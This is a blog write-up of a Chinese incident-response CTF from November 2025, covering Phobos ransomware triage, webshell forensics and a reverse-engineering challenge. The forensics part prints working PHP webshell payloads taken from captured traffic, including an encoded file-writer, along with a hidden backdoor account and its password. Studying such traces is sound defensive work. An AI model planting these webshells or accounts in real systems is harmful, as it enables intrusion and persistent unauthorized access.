2025年Solar应急响应公益月赛-11月

本文最后更新于 2025年11月29日 晚上

2025 年最后一次月赛,完结撒花~

2700勒索病毒排查

任务1

1
2
任务名称:此勒索家族名称是什么?
此勒索家族名称是什么?可访问应急响应.com进行查询,大小写敏感,最终以flag{}提交

在线病毒检测 查找 2700

1
flag{Phobos}

任务2

1
2
任务名称:勒索病毒预留的ID是什么
勒索病毒预留的ID是什么(预留ID为勒索组织恢复的凭证),以flag{}提交,如有多个以&进行连接

id

1
flag{4A30C4F9-3524}

任务3

1
2
任务名称:提交开始加密的时间
提交开始加密的时间,以flag{2025/1/1 11:11}格式提交

看勒索信时间,也可以看大部分被加密的文件修改时间

1
flag{2025/11/19 14:31}

任务4

1
2
任务名称:提交flag
访问:应急响应.com 找到此家族恢复工具进行恢复,提交C:\Users\Solar\Desktop\lSimulation_Desktop_Files\flag.txt文件中的flag

下载工具恢复

1
flag{6eff1ea09e63423a48288a77d97e0cc6}

任务5

1
2
任务名称:提交发送邮件的邮箱
提交C:\Users\Solar\Desktop\工具\mail 发送邮件的邮箱,以flag{xxx@xxx.com}格式提交

1
flag{1983929223@qq.com}

任务6

1
2
任务名称:提交发送邮件的IP
提交C:\Users\Solar\Desktop\工具\mail 发送邮件的IP,以flag{x.x.x.x}格式提交

1
flag{39.91.141.213}

任务7

1
2
任务名称:提交钓鱼附件中的C2地址
提交钓鱼附件中的C2地址,以flag{x.x.x.x}格式提交

邮件里面的编码解一下就是个exe,上传到沙箱

1
flag{182.9.80.123}

任务8

1
2
任务名称:提交flag
部分数据丢失,好在运维之前做了备份,使用C:\Users\Solar\Desktop\工具\diskgenus恢复C:\Users\Solar\Desktop\工具\backup中的备份内:C:\Users\Solar\Desktop\flag.bak文件,提交其flag

diskgenus

1
flag{92047522e5080bad36eda9d29d5a163e}

emergency

任务1

1
2
任务名称:提交黑客的IP地址
提交格式为flag{0.0.0.0}

一句话木马,对应流量的 IP

1
flag{10.0.100.69}

任务2

1
2
任务名称:提交黑客初始连接的PHP一句话木马密码
提交格式为flag{abc}

1
value=<?php @eval($_POST['shell']); ?>&title=&status=1&dosubmit=1&id=53

密码为 shell

1
flag{shell}

任务3

1
2
任务名称:提交黑客通过初始连接一句话木马后创建新的一句话木马文件的MD5
提交格式为flag{md5}

创建了新的木马文件 shell.php

1
d498cc0709be5f=jgQzovcGhwc3R1ZHlfcHJvL1dXVy9zaGVsbC5waHA=&m58d3ef53bcb85<3F70687020406576616C28245F504F53545B2271736E6374665F323032355F6C6162225D293B203F3E0A&shell=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.a5293";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "8484"."cc18c";echo @asenc($output);echo "86bcb"."d0c52";}ob_start();try{$f=base64_decode(substr($_POST["d498cc0709be5f"],2));$c=$_POST["m58d3ef53bcb85"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

解码之后为

1
<?php @eval($_POST["qsnctf_2025_lab"]); ?>

1
flag{91a29f36879b024d661851b7765f3969}

任务4

1
2
任务名称:提交黑客创建的不死马的密码
提交格式为flag{md5}

1
flag{4aad625950d058c24711560e5f8445b9}

任务5

1
2
任务名称:提交黑客上传的恶意文件(远程控制木马)的名称
提交格式为flag{abc.exe}

tcp stream eq 85,上传了一个可疑文件

1
flag{shell.exe}

任务6

1
2
任务名称:提交黑客上传的恶意文件(远程控制木马)的MD5
提交格式为flag{md5}

1
flag{0410284ea74b11d26f868ead6aa646e1}

任务7

1
2
任务名称:提交黑客上传的恶意文件(远程控制木马)的端口
提交格式为flag{1234}

1
flag{4444}

任务8

1
2
任务名称:请提交黑客创建用户账户的用户名
提交格式为flag{username}

1
flag{hidden$}

任务9

1
2
任务名称:请提交黑客创建用户账户的密码
提交格式为flag{password}

1
flag{P@ssw0rd123}

任务10

1
2
任务名称:请提交黑客创建用户账户的时间
flag{2025/01/01 01:00:00}

时间加 8 个小时

1
flag{2025/11/20 16:13:32}

逆向

打开注册表项:HKEY_CURRENT_USER\SubKey,读取键值:ValueName,将内容读入全局变量 Data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void __noreturn sub_140002260()
{
DWORD cbData; // [rsp+30h] [rbp-18h] BYREF
DWORD Type; // [rsp+34h] [rbp-14h] BYREF
HKEY hKey; // [rsp+38h] [rbp-10h] BYREF

cbData = 64;
Type = 1;
if ( !RegOpenKeyExW(HKEY_CURRENT_USER, SubKey, 0, 0x20019u, &hKey)
&& !RegQueryValueExW(hKey, ValueName, 0i64, &Type, &Data, &cbData) )
{
RegCloseKey(hKey);
if ( (unsigned int)sub_140002110(&Data) )
{
if ( (unsigned int)qword_140004210() )
MessageBoxW(0i64, &unk_1400041C0, aTql_0, 0);
}
}
sub_1400011F0();
}

unk_1400041C0 中数据 UTF-16LE 解码为(这里并不是最后的结果)

1
2
回答正确!
提交内容为flag{变量pswd的值的sha256小写十六进制}

sub_140002110 校验字符串范围小写 a-f,0-9,还有个异常处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall sub_140002110(unsigned __int16 *a1)
{
unsigned __int16 v2; // [rsp+20h] [rbp-18h]
DWORD flOldProtect; // [rsp+24h] [rbp-14h] BYREF
LPVOID lpAddress; // [rsp+28h] [rbp-10h]
unsigned __int16 *v5; // [rsp+40h] [rbp+8h]

v5 = a1;
if ( !a1 || !*a1 )
return 0i64;
while ( *v5 )
{
v2 = *v5;
if ( (*v5 < '0' || v2 > '9') && (v2 < 'a' || v2 > 'f') )
return 0i64;
++v5;
}
qword_140004210 = 0i64;
lpAddress = GetModuleHandleW(0i64) + 3206;
flOldProtect = 0;
VirtualProtect(lpAddress, 8ui64, 4u, &flOldProtect);
qword_140004218 = *lpAddress;
*lpAddress = 2313;
*(lpAddress + 1) = 56894;
*(lpAddress + 1) ^= 0xC0DEu;
VirtualProtect(lpAddress, 8ui64, flOldProtect, &flOldProtect);
return 1i64;
}

sub_140001EE0 检查 Data 长度是否为 4 字节,把 Data 的前 4 字节放入 v0,而 v2 就是密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
void __noreturn sub_140001EE0()
{
char v0[4]; // [rsp+20h] [rbp-78h] BYREF
int i; // [rsp+24h] [rbp-74h]
char v2[32]; // [rsp+28h] [rbp-70h]
int v3; // [rsp+48h] [rbp-50h]
char v4[32]; // [rsp+50h] [rbp-48h] BYREF
char v5[40]; // [rsp+70h] [rbp-28h] BYREF

if ( sub_140001E30(&Data) == 4 )
{
v2[0] = -102;
v2[1] = -67;
v2[2] = -68;
v2[3] = 88;
v2[4] = 121;
v2[5] = 42;
v2[6] = 126;
v2[7] = -101;
v2[8] = -1;
v2[9] = 34;
v2[10] = 73;
v2[11] = -123;
v2[12] = 79;
v2[13] = 10;
v2[14] = 30;
v2[15] = 44;
v2[16] = 11;
v2[17] = -53;
v2[18] = 40;
v2[19] = -40;
v2[20] = -109;
v2[21] = -23;
v2[22] = 80;
v2[23] = -5;
v2[24] = -18;
v2[25] = 47;
v2[26] = 125;
v2[27] = 58;
v2[28] = -67;
v2[29] = -6;
v2[30] = -99;
v2[31] = -22;
memset(v0, 0, sizeof(v0));
memset(v4, 0, sizeof(v4));
memset(v5, 0, 0x20ui64);
v0[0] = Data;
v0[1] = *(&Data + 2);
v0[2] = *(&Data + 4);
v0[3] = *(&Data + 6);
sub_140001D10(v0, 4i64, v4);
sub_140001D10(v4, 32i64, v5);
v3 = 1;
for ( i = 0; i < 0x20; ++i )
{
if ( v5[i] != v2[i] )
v3 = 0;
}
if ( v3 )
MessageBoxW(0i64, lpText, Caption, 0);
}
sub_1400011F0();
}

可以进行爆破了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from hashlib import sha3_256
import itertools
import time

signed = [-102,-67,-68,88,121,42,126,-101,-1,34,73,-123,79,10,30,44,11,-53,40,-40,-109,-23,80,-5,-18,47,125,58,-67,-6,-99,-22]
target = bytes([(x + 256) % 256 for x in signed])

charset = "abcdefghijklmnopqrstuvwxyz0123456789"
start = time.time()
count = 0

for combo in itertools.product(charset, repeat=4):
v0 = bytes([ord(c) for c in combo])
h = sha3_256(sha3_256(v0).digest()).digest()
count += 1
if h == target:
print("FOUND v0 bytes:", v0)
print("ASCII:", v0.decode('ascii'))
break
if count % 200000 == 0:
print("tried", count, "elapsed", time.time()-start)

print("done, tried", count, "elapsed", time.time()-start)

找到结果 fade,写入程序

1
reg add "HKCU\Software\solar_202511" /v "pswd" /t REG_SZ /d "fade" /f

转为 MD5 大写

1
flag{CC3216B3C60FD8EA5C7A8ABCD3DE6F82}

更简单的是动调一下

再分析一下 sub_7FF786EE1D10 会发现如果 lpText 为 4,就会变成 5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall sub_7FF786EE1D10(__int64 a1, unsigned __int64 a2, __int64 a3)
{
int i; // [rsp+20h] [rbp-108h]
DWORD flOldProtect; // [rsp+24h] [rbp-104h] BYREF
LPVOID lpAddress; // [rsp+28h] [rbp-100h]
int v7; // [rsp+30h] [rbp-F8h]
_QWORD v8[29]; // [rsp+40h] [rbp-E8h] BYREF

lpAddress = (LPVOID)lpText;
v7 = 0;
for ( i = 0; lpText[i]; ++i )
{
if ( *(_WORD *)lpAddress == '4' )
{
v7 = 1;
break;
}
lpAddress = (char *)lpAddress + 2;
}
if ( v7 )
{
flOldProtect = 0;
VirtualProtect(lpAddress, 2u, 4u, &flOldProtect);
++*(_WORD *)lpAddress;
VirtualProtect(lpAddress, 2u, flOldProtect, &flOldProtect);
}
sub_7FF786EE1AD0(v8);
sub_7FF786EE1B50((__int64)v8, a1, a2);
return sub_7FF786EE1C30(a3, v8);
}

而 lpText 的数据如下

1
DE 56 54 7B 63 6B 6E 78 21 00 0A 00 D0 63 A4 4E 85 51 B9 5B 3A 4E 66 00 6C 00 61 00 67 00 7B 00 D8 53 CF 91 70 00 73 00 77 00 64 00 84 76 3C 50 84 76 6D 00 64 00 34 00 27 59 99 51 41 53 6D 51 DB 8F 36 52 7D 00 00 00 00

也就是

1
2
回答正确!
提交内容为flag{变量pswd的值的md4大写十六进制}

当然变成 md5


2025年Solar应急响应公益月赛-11月
http://example.com/2025/11/29/2025年Solar应急响应公益月赛-11月/
作者
butt3rf1y
发布于
2025年11月29日
许可协议